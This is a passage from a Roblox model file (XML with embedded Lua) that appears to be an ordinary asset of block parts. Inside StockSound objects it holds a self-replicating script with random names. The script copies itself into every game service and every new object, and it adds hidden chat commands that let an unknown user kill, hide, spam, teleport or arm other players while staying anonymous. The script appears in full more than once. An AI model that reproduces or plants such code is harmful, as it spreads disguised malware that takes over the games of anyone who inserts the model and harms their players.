for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<External>RBX788</External>
		<External>RBX789</External>
		<Item class="Part" referent="RBX790">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-162</X>
					<Y>18.2000046</Y>
					<Z>-11.5000067</Z>
					<R00>3.43454894e-006</R00>
					<R01>-3.12779343e-006</R01>
					<R02>-1</R02>
					<R10>-1.30228477e-008</R10>
					<R11>1</R11>
					<R12>3.12779343e-006</R12>
					<R20>1</R20>
					<R21>-1.30228477e-008</R21>
					<R22>-3.43454894e-006</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX791">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX792">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX793">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-182</X>
					<Y>16.1999989</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX794">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX795">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
